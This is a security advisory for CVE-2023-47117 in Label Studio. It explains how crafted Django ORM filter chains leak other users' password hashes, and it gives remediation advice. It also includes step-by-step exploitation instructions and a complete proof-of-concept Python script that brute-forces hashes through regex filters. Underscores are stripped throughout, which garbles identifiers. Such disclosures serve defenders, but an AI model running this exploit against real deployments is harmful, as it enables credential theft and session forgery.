CVE-2023-47117: Object Relational Mapper Leak Vulnerability in Filtering Task in Label Studio
Introduction
This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.9.2post0 and was tested on version 1.8.2.
Overview
In all current versions of Label Studio, the application allows users to insecurely set filters for filtering tasks. An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. For an example, the following filter chain will task results by the password hash of an account on Label Studio.
filter:tasks:updatedbyactiveorganizationactiveuserspassword
For consistency, this type of vulnerability will be termed as ORM Leak in the rest of this disclosure.
In addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes.
Description
The following code snippet from the ViewSetSerializer in labelstudio/datamanager/serializers.py insecurely creates Filter objects from a JSON POST request to the /api/dm/views/{viewId} API endpoint.
python @staticmethod def createfilters(filtergroup, filtersdata): filterindex = 0 for filterdata in filtersdata: filterdata["index"] = filterindex filtergroup.filters.add(Filter.objects.create(filterdata)) filterindex += 1
These Filter objects are then applied in the TaskQuerySet in labelstudio/datamanager/managers.py.
python class TaskQuerySet(models.QuerySet): def prepared(self, prepareparams=None): """ Apply filters, ordering and selected items to queryset
:param prepareparams: prepare params with project, filters, orderings, etc :return: ordered and filtered queryset """ from projects.models import Project
queryset = self
if prepareparams is None: return queryset
project = Project.objects.get(pk=prepareparams.project) request = prepareparams.request queryset = applyfilters(queryset, prepareparams.filters, project, request) <1> queryset = applyordering(queryset, prepareparams.ordering, project, request, viewdata=prepareparams.data)
if not prepareparams.selectedItems: return queryset
# included selected items if prepareparams.selectedItems.all is False and prepareparams.selectedItems.included: queryset = queryset.filter(idin=prepareparams.selectedItems.included)
# excluded selected items elif prepareparams.selectedItems.all is True and prepareparams.selectedItems.excluded: queryset = queryset.exclude(idin=prepareparams.selectedItems.excluded)
return queryset 1. User provided filters are insecurely applied here by calling the applyfilters that constructs the Django ORM filter.
The PreparedTaskManager in labelstudio/datamanager/managers.py uses the vulnerable TaskQuerySet for building the Django queryset for querying Task objects, as shown in the following code snippet.
python class PreparedTaskManager(models.Manager): #...
def getqueryset(self, fieldsforevaluation=None, prepareparams=None, allfields=False): <1> """ :param fieldsforevaluation: list of annotated fields in task :param prepareparams: filters, ordering, selected items :param allfields: evaluate all fields for task :param request: request for user extraction :return: task queryset with annotated fields """ queryset = self.onlyfiltered(prepareparams=prepareparams) return self.annotatequeryset( queryset, fieldsforevaluation=fieldsforevaluation, allfields=allfields, request=prepareparams.request )
def onlyfiltered(self, prepareparams=None): request = prepareparams.request queryset = TaskQuerySet(self.model).filter(project=prepareparams.project) <1> fieldsforfilterordering = getfieldsforfilterordering(prepareparams) queryset = self.annotatequeryset(queryset, fieldsforevaluation=fieldsforfilterordering, request=request) return queryset.prepared(prepareparams=prepareparams) 1. Special Django method for the models.Manager class that is used to retrieve the queryset for querying objects of a model. 2. Uses the vulnerable TaskQuerySet that was explained above.
The following code snippet of the Task model in labelstudio/tasks/models.py shows that the vulnerable PreparedTaskManager is set as a class variable, along with the updatedby relational mapping to a Django user that will be exploited as the entrypoint of the filter chain.
python ... class Task(TaskMixin, models.Model): """ Business tasks from project """ id = models.AutoField(autocreated=True, primarykey=True, serialize=False, verbosename='ID', dbindex=True)
# ...
updatedby = models.ForeignKey(settings.AUTHUSERMODEL, relatedname='updatedtasks', ondelete=models.SETNULL, null=True, verbosename=('updated by'), helptext='Last annotator or reviewer who updated this task') <1>
# ...
objects = TaskManager() # task manager by default prepared = PreparedTaskManager() # task manager with filters, ordering, etc for datamanager app <2>
# ... 1. The entry point of the filter chain to filter by the updatedbyactiveorganizationactiveuserspassword. 2. The vulnerable PreparedTaskManager being set that will be exploited.
Finally, the TaskListAPI view set in labelstudio/tasks/api.py with the /api/tasks API endpoint uses the vulnerable PreparedTaskManager to filter Task objects.
python def getqueryset(self): taskid = self.request.parsercontext['kwargs'].get('pk') task = generics.getobjector404(Task, pk=taskid) review = boolfromrequest(self.request.GET, 'review', False) selected = {"all": False, "included": [self.kwargs.get("pk")]} if review: kwargs = { 'fieldsforevaluation': ['annotators', 'reviewed'] } else: kwargs = {'allfields': True} project = self.request.queryparams.get('project') or self.request.data.get('project') if not project: project = task.project.id return self.prefetch( Task.prepared.getqueryset( prepareparams=PrepareParams(project=project, selectedItems=selected, request=self.request), kwargs )) <1> 1. Uses the vulnerable PreparedTaskManager to filter objects.
Proof of Concept
Below are the steps to exploit about how to exploit this vulnerability to leak the password hash of an account on Label Studio.
1. Create two accounts on Label Studio and choose one account to be the victim and the other the hacker account that you will use. 2. Create a new project or use an existing project, then add a task to the project. Update the task with the hacker account to cause the entry point of the filter chain. 3. Navigate to the task view for the project and add any filter with the Network inspect tab open on the browser. Look for a PATCH request to /api/dm/views/{viewid}?interaction=filter&project={projectid} and save the viewid and projectid for the next step. 4. Download the attached proof of concept exploit script named labelstudioormleak.py. This script will leak the password hash of the victim account character by character. Run the following command to run the exploit script, replacing the {viewid}, {projectid}, {cookiestr} and {url} with the corresponding values. For further explanation run python3 labelstudioormleak.py --help.
bash python3 labelstudioormleak.py -v {viewid} -p {projectid} -c '{cookiestr}' -u '{url}'
The following example GIF demonstrates exploiting this ORM Leak vulnerability to retrieve the password hash pbkdf2sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=.
!labelstudioormleakpoc
Impact
This vulnerability can be exploited to completely compromise the confidentiality of highly sensitive account information, such as account password hashes. For all versions <=1.8.1, this finding can also be chained with hard coded SECRETKEY to forge session tokens of any user on Label Studio and could be abuse to deteriorate the integrity and availability.
Remediation Advice
Do not use unsanitised values for constructing a filter for querying objects using Django's ORM. Django's ORM allows querying by relation field and performs auto lookups, that enable filtering by sensitive fields. Validate filter values to an allow list before performing any queries.
Discovered - August 2023, Alex Brown, elttam
--- labelstudioormleak.py proof of concept
py import argparse import re import requests import string import sys
Password hash characters CHARS = string.asciiletters + string.digits + '$/+=!' CHARSLEN = len(CHARS)
PAYLOAD = { "data": { "columnsDisplayType": {}, "columnsWidth": {}, "filters": { "conjunction": "and", "items": [ { "filter": "filter:tasks:updatedbyactiveorganizationactiveuserspassword", # ORM Leak filter chain "operator": "regex", # Use regex operator to filter password hash value "type": "String", "value": "REPLACEME" } ] }, "gridWidth": 4, "hiddenColumns":{"explore":["tasks:innerid"],"labeling":["tasks:id","tasks:innerid"]}, "ordering": [], "searchtext": None, "target": "tasks", "title": "Default", "type": "list" }, "id": 1, # View ID "project": "1" # Project ID }
def parseargs() -> argparse.Namespace: parser = argparse.ArgumentParser( description='Leak an accounts password hash by exploiting a ORM Leak vulnerability in Label Studio' )
parser.addargument( '-v', '--view-id', help='View id of the page', type=int, required=True )
parser.addargument( '-p', '--project-id', help='Project id to filter tasks for', type=int, required=True )
parser.addargument( '-c', '--cookie-str', help='Cookie string for authentication', required=True )
parser.addargument( '-u', '--url', help='Base URL to Label Studio instance', required=True )
return parser.parseargs()
def setup() -> dict: args = parseargs() viewid = args.viewid projectid = args.projectid path1 = "/api/dm/views/{viewid}?interaction=filter&project={projectid}".format( viewid=viewid, projectid=projectid ) path2 = "/api/tasks?page=1&pagesize=1&view={viewid}&interaction=filter&project={projectid}".format( viewid=viewid, projectid=projectid ) PAYLOAD["id"] = viewid PAYLOAD["project"] = str(projectid) configdict = { 'COOKIESTR': args.cookiestr, 'URLPATH1': args.url + path1, 'URLPATH2': args.url + path2, 'PAYLOAD': PAYLOAD } return configdict
def testpayload(configdict: dict, payload) -> bool: sys.stdout.flush() cookiestr = configdict["COOKIESTR"] rset = requests.patch( configdict["URLPATH1"], json=payload, headers={ "Cookie": cookiestr } )
rlisten = requests.get( configdict['URLPATH2'], headers={ "Cookie": cookiestr } )
rjson = rlisten.json() return len(rjson["tasks"]) >= 1
def testchar(configdict, knownhash, c): jsonpayloadsuffix = PAYLOAD testescaped = re.escape(knownhash + c) jsonpayloadsuffix["data"]["filters"]["items"][0]["value"] = f"^{testescaped}"
suffixresult = testpayload(configdict, jsonpayloadsuffix) if suffixresult: return (knownhash + c, c) return None
def main(): configdict = setup() # By default Label Studio password hashes start with these characters knownhash = "pbkdf2sha256$260000$" print() print(f"dumped: {knownhash}", end="") sys.stdout.flush()
while True: found = False
for c in CHARS: r = testchar(configdict, knownhash, c) if not r is None: newhash, c = r knownhash = newhash print(c, end="") sys.stdout.flush() found = True break
if not found: break
print()
if name == "main": main()
Other sources
Label Studio is an open source data labeling tool. In all current versions of Label Studio prior to 1.9.2post0, the application allows users to insecurely set filters for filtering tasks. An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. In addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes. This vulnerability has been addressed in commit f931d9d129 which is included in the 1.9.2post0 release. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Affected Software
Remediation
Event History
Frequently Asked Questions
What is CVE-2023-47117?
CVE-2023-47117 is a vulnerability found in Label Studio, a popular open source data labeling tool, that allows for an object relational mapper leak in the filtering task.
What is the severity of CVE-2023-47117?
The severity of CVE-2023-47117 is high with a CVSS score of 7.5.
How does CVE-2023-47117 affect Label Studio?
CVE-2023-47117 affects all versions of Label Studio prior to 1.9.2post0.
How can I fix CVE-2023-47117?
To fix CVE-2023-47117, you need to update your Label Studio installation to version 1.9.2post0 or later.
Where can I find more information about CVE-2023-47117?
You can find more information about CVE-2023-47117 on the GitHub Security Advisory page and the NIST NVD website.